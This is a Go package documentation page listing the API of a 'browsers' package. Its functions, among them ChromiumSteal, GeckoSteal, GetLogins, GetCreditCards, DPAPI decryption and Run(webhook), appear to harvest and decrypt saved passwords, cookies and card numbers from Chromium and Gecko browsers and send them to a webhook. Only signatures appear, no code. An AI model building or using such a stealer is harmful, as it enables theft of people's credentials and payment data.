browsers

package
v0.0.0-...-a6c1980 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Apr 18, 2024 License: MIT Imports: 24 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func DPAPI

func DPAPI(encryptPass []byte) ([]byte, error)

func GetChromiumBrowsers

func GetChromiumBrowsers() map[string]string

func GetDBConnection

func GetDBConnection(database string) (*sql.DB, error)

func GetGeckoBrowsers

func GetGeckoBrowsers() map[string]string

func Run

func Run(webhook string)

Types

type ASN1PBE

type ASN1PBE interface {
	Decrypt(globalSalt, masterPwd []byte) (key []byte, err error)
}

func NewASN1PBE

func NewASN1PBE(b []byte) (pbe ASN1PBE, err error)

type Browser

type Browser struct {
	Name string
	Path string
	User string
}

type Chromium

type Chromium struct {
	MasterKey []byte
}

func (*Chromium) Decrypt

func (c *Chromium) Decrypt(encryptPass []byte) ([]byte, error)

func (*Chromium) GetCookies

func (c *Chromium) GetCookies(path string) (cookies []Cookie, err error)

func (*Chromium) GetCreditCards

func (c *Chromium) GetCreditCards(path string) (creditCards []CreditCard, err error)

func (*Chromium) GetDownloads

func (c *Chromium) GetDownloads(path string) (downloads []Download, err error)

func (*Chromium) GetHistory

func (c *Chromium) GetHistory(path string) (history []History, err error)

func (*Chromium) GetLogins

func (c *Chromium) GetLogins(path string) (logins []Login, err error)

func (*Chromium) GetMasterKey

func (c *Chromium) GetMasterKey(path string) error
type Cookie struct {
	Host       string
	Name       string
	Path       string
	Value      string
	ExpireDate int64
}

type CreditCard

type CreditCard struct {
	GUID            string
	Name            string
	ExpirationYear  string
	ExpirationMonth string
	Number          string
	Address         string
	Nickname        string
}

type Download

type Download struct {
	TargetPath string
	URL        string
}

type Gecko

type Gecko struct {
	MasterKey []byte
}

func (*Gecko) Decrypt

func (g *Gecko) Decrypt(encryptPass []byte) ([]byte, error)

func (*Gecko) GetCookies

func (g *Gecko) GetCookies(path string) (cookies []Cookie, err error)

func (*Gecko) GetDownloads

func (g *Gecko) GetDownloads(path string) (downloads []Download, err error)

func (*Gecko) GetHistory

func (g *Gecko) GetHistory(path string) (history []History, err error)

func (*Gecko) GetLogins

func (g *Gecko) GetLogins(path string) (logins []Login, err error)

func (*Gecko) GetMasterKey

func (g *Gecko) GetMasterKey(path string) error

type History

type History struct {
	Title         string
	URL           string
	VisitCount    int
	LastVisitTime int64
}

type Login

type Login struct {
	Username string
	Password string
	LoginURL string
}

type Profile

type Profile struct {
	Name    string
	Path    string
	Browser Browser

	Logins      []Login
	Cookies     []Cookie
	CreditCards []CreditCard
	Downloads   []Download
	History     []History
}

func ChromiumSteal

func ChromiumSteal() []Profile

func GeckoSteal

func GeckoSteal() []Profile

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL